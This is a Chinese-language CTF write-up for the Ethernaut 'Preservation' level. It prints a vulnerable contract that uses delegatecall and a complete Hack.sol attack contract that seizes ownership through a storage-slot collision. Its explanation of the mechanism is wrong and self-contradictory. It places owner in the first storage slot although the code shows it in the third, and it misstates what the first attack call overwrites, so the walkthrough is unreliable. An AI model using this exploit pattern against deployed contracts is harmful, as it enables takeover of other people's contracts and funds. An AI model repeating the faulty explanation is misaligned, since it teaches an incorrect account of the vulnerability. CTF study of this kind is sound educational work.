Appearance
CTF 挑战:Preservation - 揭秘 delegatecall 的时空奥秘
欢迎来到 EtherNaught 的 CTF 挑战世界!今天,我们将深入探讨一个名为 "Preservation" 的关卡,它将带我们领略 delegatecall 的强大力量,以及它在智能合约开发中可能带来的意想不到的后果。
挑战概览:
在这个名为 "Preservation" 的挑战中,你将面临一个 Preservation 合约。这个合约巧妙地利用了一个外部库来存储两个不同时区的精确时间。它的构造函数初始化了两个库实例,分别负责存储这两个时间。你的终极目标,便是 夺取这个合约的所有权!
关键线索,助你破局:
如果你能抓住以下几个关键点,那么 "Preservation" 的谜题将迎刃而解:
delegatecall的魔力: Solidity 的delegatecall是一个低级函数,它允许一个合约将执行委托给另一个合约。理解它的工作原理至关重要,特别是它如何实现链上库的调用,以及对执行范围(execution scope)的影响。- “保存上下文” 的含义:
delegatecall的一个核心特性是它会“保存上下文”。这意味着被调用的库在执行时,会继承调用合约的存储、状态以及msg.sender等信息。这正是我们攻击的关键所在! - 存储变量的奥秘: 智能合约的存储变量是如何组织的?理解它们的布局和访问方式,能帮助我们精确地操控合约的状态。
- 数据类型转换的艺术: 在 Solidity 中,不同数据类型之间的转换是常见的操作。掌握好这些转换规则,能让你在构造攻击 payload 时更加得心应手。
深入剖析 Preservation.sol:
让我们一起看看 Preservation.sol 的代码,来揭示它的设计思路:
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint256 storedTime; // 这个变量是关键!
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender; // 初始所有者是部署者
}
// set the time for timezone 1
function setFirstTime(uint256 _timeStamp) public {
// !!! 关键点:这里使用了 delegatecall !!!
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
// set the time for timezone 2
function setSecondTime(uint256 _timeStamp) public {
// !!! 同样是 delegatecall !!!
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint256 storedTime; // 这个变量在 LibraryContract 中也有
function setTime(uint256 _time) public {
storedTime = _time;
}
}
洞察其中的漏洞:
仔细观察 setFirstTime 和 setSecondTime 函数,你会发现它们都通过 delegatecall 调用了外部的 LibraryContract。问题就出在这里!
Preservation合约有一个owner变量。LibraryContract合约也有一个storedTime变量。
当 setFirstTime 被调用时,delegatecall 会让 LibraryContract 的 setTime 函数在 Preservation 合约的 存储空间 中执行。由于 Preservation 合约的 owner 变量在存储槽(storage slot)中,而 LibraryContract 合约的 storedTime 变量也恰好在某个存储槽中,关键在于 存储槽的顺序。
如果 Preservation 合约的 owner 变量排布在存储槽的 第一个位置,而 LibraryContract 的 storedTime 变量也恰好是 第一个 变量,那么通过 delegatecall 并传递一个精心构造的 _timeStamp,我们就可以 覆盖 Preservation 合约中的 owner 变量!
攻击之道:Hack.sol 登场!
我们的攻击合约 Hack.sol 就是利用了这一原理:
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IPreservation {
function setFirstTime(uint256) external;
function owner() external view returns (address);
}
contract Hack {
address public timeZone1Library; // 这里的变量定义是为了匹配,但不直接使用
address public timeZone2Library; // 这里的变量定义是为了匹配,但不直接使用
address public owner; // 这里的所有者是为了捕获 setTime 函数中的 owner
IPreservation private immutable target; // 目标 Preservation 合约接口
constructor(address _target) {
target = IPreservation(_target);
}
function attack() external {
// 第一次调用:目的是将 LibraryContract 中的 storedTime 变量(在 Preservation 合约中对应 owner 变量)指向我们自己的 Hack 合约地址
target.setFirstTime(uint256(uint160(address(this))));
// 第二次调用:再次调用 setFirstTime,这次的参数是我们想要成为的新所有者(这里是 msg.sender,即发起攻击的账号)
// 因为第一次调用已经将 owner 变量的位置指向了我们,第二次调用就会覆盖掉 owner 变量。
target.setFirstTime(uint256(uint160(msg.sender)));
// 验证是否成功
require(target.owner() == msg.sender, "Claim ownership fail!");
}
// 这个 setTime 函数是为了让 Hack 合约也能接收 setTime 的调用
// 当 Preservation 合约通过 delegatecall 调用 LibraryContract 的 setTime 时,
// 如果 LibraryContract 的 storedTime 变量在 Preservation 合约中的 owner 变量之后,
// 那么这个 setTime 函数就会被执行,并更新 Hack 合约的 owner 变量。
// 但是在这个特定的 CTF 关卡中,我们主要利用的是 delegatecall 覆盖 owner 变量。
function setTime(uint256 _time) public {
owner = address(uint160(_time));
}
}
攻击步骤详解:
- 实例化攻击合约: 部署
Hack合约,并将目标Preservation合约的地址作为构造函数的参数传入。 - 执行
attack()函数:- 第一次调用
target.setFirstTime(uint256(uint160(address(this)))):delegatecall会在Preservation的存储空间中调用LibraryContract的setTime函数。uint256(uint160(address(this)))将Hack合约自身的地址转换为一个uint256。- 由于
Preservation合约的owner变量存储在第一个槽,而LibraryContract的storedTime变量也位于第一个槽,这个调用实际上是将Preservation合约的owner变量的值 修改为Hack合约自身的地址。
- 第二次调用
target.setFirstTime(uint256(uint160(msg.sender))):- 再次通过
delegatecall调用LibraryContract的setTime函数。 - 这次传递的参数是将 发起攻击的账号(
msg.sender)的地址 转换为uint256。 - 由于
Preservation合约的owner变量已经被指向了Hack合约,这次调用会 覆盖owner变量,将其值更新为msg.sender的地址。
- 再次通过
- 第一次调用
- 验证所有权: 最后,检查
Preservation合约的owner变量。如果一切顺利,它将显示为发起攻击的账号的地址,恭喜你,成功夺取了合约的所有权!
总结:
"Preservation" 挑战生动地展示了 delegatecall 的强大能力,以及它在处理存储时的“上下文保存”特性。理解 delegatecall 如何影响执行范围和存储布局,是发现此类漏洞的关键。这个挑战也再次提醒我们,在编写智能合约时,务必谨慎处理库的调用,并充分理解其潜在的风险。
希望这个详尽的解析能帮助你理解并成功攻破 "Preservation" 挑战!继续探索,发现更多区块链世界的奥秘!